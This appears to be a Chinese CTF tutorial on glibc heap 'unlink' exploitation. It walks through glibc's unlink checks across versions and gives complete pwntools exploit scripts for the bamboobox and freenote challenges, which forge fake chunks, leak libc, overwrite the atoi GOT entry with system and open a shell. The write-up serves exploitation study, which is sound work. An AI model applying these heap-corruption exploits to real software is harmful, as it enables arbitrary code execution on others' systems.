Unlink

本文参考了CTF-wiki 和glibc 源码

原理:

我们在利用 unlink 所造成的漏洞时,其实就是借助 unlink 操作来达成修改指针的效果。

我们先来简单回顾一下 unlink 的目的与过程,其目的是把一个双向链表中的空闲块拿出来,然后和前后物理相邻的 free chunk 进行合并。其基本的过程如下

类似于我们学数据结构时学的从双向链表中删除一个节点的操作。

古老的 unlink

在最初 unlink 实现的时候,其实是没有对双向链表检查的,也就是说,没有以下的代码

//检查p的 size 是否等于物理相邻的后一个chunk的 pre_size
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size"); //检查p和其前后的chunk是否构成双向链表
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list"); //只有large bin 才进行次检查
//检查p和其前后的large chunk的nextsize域是否构成双向链表
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");

这里我们以 32 位为例,假设堆内存最初的布局是下面的样子

如果我们通过某种方式(比如溢出)将 nextchunk 的 fd 和 bk 指针修改为指定的值。则当我们free(Q)时

  1. glibc 判断这个块是 small chunk。
  2. 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并。
  3. 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并。
  4. 继而对 nextchunk 采取 unlink 操作。

那么 unlink 具体执行的效果是什么样子呢?我们用P来表示当前的chunk(也就是先被free的chunk),可以来分析一下

  • FD=P->fd = target addr -12
  • BK=P->bk = expect value
  • FD->bk = BK,即 *(target addr-12+12) = expect value
  • BK->fd = FD,即*(expect value +8) = target addr-12

看起来我们似乎可以通过 unlink 直接实现任意地址写入的目的,但是我们还是需要确保 expect value +8 地址具有可写的权限。

比如说我们将 target addr 设置为某个 got 表项,那么当程序调用对应的 libc 函数时,就会直接执行我们设置的值(expect value)处的代码。需要注意的是,expect value+8 处的值可能没有写入权限,执行BK->fd = FD回报错,需要想办法绕过。

当前的 unlink

我们刚才考虑的是没有检查的情况,但是一旦加上检查,就没有这么简单了。我们看一下对 fd 和 bk 的检查

//检查p和其前后的chunk是否构成双向链表
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

此时

  • FD->bk = *(target addr - 12 +12)=*(target_addr) != p
  • BK->fd = *(expect value + 8) != p

那么我们上面所利用的修改 GOT 表项的方法就可能不可用了。

但是,如果我们使得 expect value+8 以及 target_addr 等于 p,那么我们就可以执行

  • expect value = p - 8

  • target addr = p

  • FD->bk = BK,即 *(p-12+12) = *p =p-8

  • BK->fd = FD,即 *(p-8 +8) = *p = p-12

这样可以通过检查,即改写了指针 p 的内容,将其指向了比自己低 12 的地址处。

此外,其实如果我们设置next chunk 的 fd 和 bk 均为 nextchunk 的地址也是可以绕过上面的检测的。但是这样的话,并不能达到修改指针内容的效果。

  • FD = p->fd = p

  • BK = p->bk = p

  • FD->bk = *(p +12) = p

  • BK->fd = *(p + 8) = p

不同版本的unlink对比

glib 2.23

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
//检查p和其前后的chunk是否构成双向链表
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else
{
FD->bk = BK;
BK->fd = FD;
//一般的unlink到这里就结束了,只有是large bin范围,才继续执行下面的代码。
//如果 p 在largebin的范围 且 p->fd_nextsize不为空
if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0))
{
//检查p和其前后的large chunk的nextsize域是否构成双向链表
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,"corrupted double-linked list (not small)",P, AV); if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else
{
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
}
else
{
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

glibc 2.27

#define unlink(AV, P, BK, FD)
{
//检查p的 size 是否等于物理相邻的后一个chunk的 pre_size
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size"); FD = P->fd;
BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list"); else
{
FD->bk = BK;
BK->fd = FD; if (!in_smallbin_range (chunksize_nomask (P)) && __builtin_expect (P->fd_nextsize != NULL, 0))
{
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr ("corrupted double-linked list (not small)"); if (FD->fd_nextsize == NULL)
{
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else
{
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
}
else
{
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

glibc 2.29

static void unlink_chunk (mstate av, mchunkptr p)
{ if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size"); mchunkptr fd = p->fd;
mchunkptr bk = p->bk; if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list"); fd->bk = bk;
bk->fd = fd; if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)"); if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}

glibc 2.23

  1. 检查p和其前后的chunk是否构成双向链表

  2. 检查p和其前后的large chunk的nextsize域是否构成双向链表

glibc 2.27 2.29 新增加一下保护

  1. 检查p的 size 是否等于物理相邻的后一个chunk的 pre_size

为了加深印象,我们做几道题目

例子

hitcontraining_unlink

本题的环境是ubuntu 16,也就是说glibc版本为2.23

首先检查一下保护

增删改查,典型的堆题

IDA 分析

main函数,申请了一块空间,存了2个函数指针,分别是hello_message和goodbye_message

add存在off_by_null漏洞

edit 没有对输入的length做检查,导致堆溢出

delete 没有漏洞

show 展示所有item的内容

这里还有个后门?

初步分析这题目存在堆溢出,我们可以修改fd,bk的值。我们可以想到的是使用fastbin attack 但是为了练习unlink,我们这里使用unlink攻击

  1. fastbin attack利用后门
add(0x21,'AAAAA')#0  为了溢出修改1
add(0x18,'BBBBB')#1
add(0x18,'CCCC') #2
delete(2)
delete(1) #fastbin -> 1 -> 2 payload = 'A'*0x28+p64(0x21) #修改1的fd指针,指向main开始时申请的内存地址
edit(0,len(payload),payload)
add(0x18,'AAA')
backdoor = 0x0400D49
add(0x18,p64(0)+p64(backdoor)) #将其第二个指针修改为backdoor的地址.
p.sendlineafter('Your choice:','5')
  1. fastbin attack(house of force)劫持atoi_got

    add(0x21,'AAAAA')#0 为了溢出修改1
    add(0x18,'BBBBB')#1
    delete(1) #fastbin -> 1 payload = 'A'*0x28+p64(0x21)+p64(0x06020C0 - 0x8)
    edit(0,len(payload),payload) #fastbin -> 1 -> itemlist-8
    add(0x18,'AAA') add(0x18,p64(elf.got['atoi'])) #修改itemlist[0]->ptr 指针指向atoi_got
    show() #泄漏libc地址
    p.recvuntil('0 : ')
    atoi = u64(p.recv(6).ljust(8,'\x00'))
    libc_base = atoi - libc.symbols['atoi']
    system = libc_base + libc.symbols['system']
    edit(0,8,p64(system))#往atoi_got写入system地址
    p.sendlineafter('Your choice:','/bin/sh\x00')
  2. unlink

    #coding:utf-8
    from pwn import *
    context.log_level = 'debug'
    p = process('./bamboobox')
    elf = ELF('./bamboobox')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size,content):
    p.sendlineafter('Your choice:','2')
    p.sendlineafter('name:',str(size))
    p.sendafter('item:',content) def show():
    p.sendlineafter('Your choice:','1') def edit(idx,size,content):
    p.sendlineafter('Your choice:','3')
    p.sendafter('item:',str(idx))
    p.sendlineafter('name:',str(size))
    p.sendafter('item:',content) def delete(idx):
    p.sendlineafter('Your choice:','4')
    p.sendafter('item:',str(idx)) itemlist0_ptr = 0x6020C0+8 add(0x40,'A' * 8)#0
    add(0x80,'B' * 8)#1
    add(0x80,'C' * 8)#2 #这里我们绕过第一个检查 (检查p和其前后的chunk是否构成双向链表)
    fake_chunk = p64(0) + p64(0x41) #fake_chunk header
    fake_chunk += p64(itemlist0_ptr-0x18) + p64(itemlist0_ptr-0x10) #fake_chunk fd bk
    fake_chunk += 'C'*0x20
    fake_chunk += p64(0x40) # 1的presize
    fake_chunk += p64(0x90) # 1的size
    edit(0,0x80,fake_chunk) '''
    这里用p指代itemlist0_ptr
    FD = p -> fd = p - 0x18
    BK = p -> bk = p - 0x10 FD -> bk = p
    BK -> fd = p
    #通过检查
    FD -> bk = BK 相当于 *(p) = p-0x10
    BK -> fd = FD 相当于 *(p) = p-0x18
    我们把p的值改为了p的地址-0x18,使得p的值不再是堆的地址,而是itemlist附近的地址。
    '''
    delete(1) #前向合并,合并0中的fake_chunk 放入 unsorted bin 中 ,同时 itemlist0_ptr = &itemlist0_ptr -0x18 payload = p64(0) * 2
    payload += p64(0x40) + p64(elf.got['atoi']) #覆盖的itemlist[0]->ptr 为atoi_got
    edit(0,0x80,payload) show()
    p.recvuntil('0 : ')
    atoi = u64(p.recv(6).ljust(8,'\x00'))
    libc_base = atoi - libc.symbols['atoi']
    system = libc_base + libc.symbols['system']
    edit(0,8,p64(system))
    p.sendlineafter('Your choice:','/bin/sh\x00') p.interactive()

jarvisoj_level6_x64

首先检查保护

IDA分析

首先程序先malloc了一块地址,把一开始的地方填入0x100,0,剩下的全部清零

增删改查,典型的堆题

add函数,申请0x80字节大小对齐的堆块,然后在heaparray中做相应的记录

edit函数,如果输入的size与heaparray中记录的不同,这调用realloc函数。

show 没啥好说,就是heaparray中每个记录项打印出来

free函数,存在double free的漏洞,因为没有清零,且没有对heaparray中的inuse进行校验。

#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./freenote_x64')
elf = ELF('./freenote_x64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size,content):
p.sendlineafter('Your choice: ','2')
p.sendlineafter('note: ',str(size))
p.sendafter('note: ',content) def show():
p.sendlineafter('Your choice: ','1') def edit(idx,size,content):
p.sendlineafter('Your choice: ','3')
p.sendlineafter('number: ',str(idx))
p.sendlineafter('note: ',str(size))
p.sendafter('note: ',content) def delete(idx):
p.sendlineafter('Your choice: ','4')
p.sendlineafter('number: ',str(idx)) #----------leak heap and libc --------------#
add(0x80,'A'*0x80)#
add(0x80,'B'*0x80)#1
add(0x80,'C'*0x80)#
add(0x80,'D'*0x80)#3 delete(0)
delete(2) #在unsorted bin中形成双向链表 add(0x8,'A'*0x8)#0
add(0x8,'C'*0x8)#2 show()
p.recvuntil('AAAAAAAA')
heap = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x1940
print 'heap: '+hex(heap) p.recvuntil('CCCCCCCC')
libc_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x3c4b78
print 'libc_base: '+hex(libc_base)
#------------------unlink---------------------------------#
delete(0)
delete(1) #合并0,1块 chunk0_ptr = heap + 0x30 payload = p64(0)+p64(0x81)
payload += p64(chunk0_ptr-0x18)+p64(chunk0_ptr-0x10)
payload = payload.ljust(0x80,'\x00')
payload += p64(0x80)+p64(0x90)
payload = payload.ljust(0x100,'\x00')
add(0x100,payload)
delete(1) #double free 触发unlink #----------------改写 atoi_got -----------------#
payload = p64(0x2)+p64(0x1)+p64(0x8)+p64(elf.got['atoi'])
payload = payload.ljust(0x100,'\x00')
edit(0,0x100,payload)#改写heaparray[0]-> ptr 使其指向atoi_got edit(0,0x8,p64(libc_base + libc.symbols['system']))#改写atoi_got为system的值 p.sendlineafter('Your choice: ','/bin/sh\x00') p.interactive()

最新文章

  1. Vsphere初试——基本安装
  2. css相对定位+浮动实现元素位置互换
  3. 第六章、Struts2数据校验
  4. AS技巧合集「编码技巧篇」
  5. 原生态js,鼠标按下后,经过了那些单元格
  6. NUC_HomeWork1 -- POJ1068
  7. CentOS 7系统挂载NTFS分区的移动硬盘(转载及体验 CentOS6.5系统挂载NTFS分区的移动硬盘)
  8. careercup-树与图 4.8
  9. 初探swift语言的学习笔记(闭包 - 匿名函数或block块代码)
  10. php - 小型微博系统
  11. What day is it
  12. html的URL参数传值问题
  13. UPS电源效果及有关名词解析
  14. 浅谈linux虚拟内存结构
  15. 查看centos版本及32还是64位
  16. JavaScript判断是否为微信浏览器或支付宝浏览器
  17. Spring Boot入门 and Spring Boot与ActiveMQ整合
  18. ADO.NET 中的五个主要对象
  19. mybatis batchinsert
  20. Centos6环境下CI(CodeIgniter)框架创建定时任务

热门文章

  1. 冷饭新炒:理解JWT的实现原理和基本使用
  2. 【HTB靶场系列】靶机Carrier的渗透测试
  3. 使用python编写量子线路打印的简单项目,并使用Sphinx自动化生成API文档
  4. 学习一下 SpringCloud (五)-- 配置中心 Config、消息总线 Bus、链路追踪 Sleuth、配置中心 Nacos
  5. 若依管理系统RuoYi-Vue(三):代码生成器原理和实战
  6. rar密码破解工具汇总
  7. 关于GitHub 搭建 Hexo 总结
  8. CentOS7系统重置root密码
  9. brew安装MySQL V5.7
  10. matplotlib工具栏源码探析三(添加、删除自定义工具项)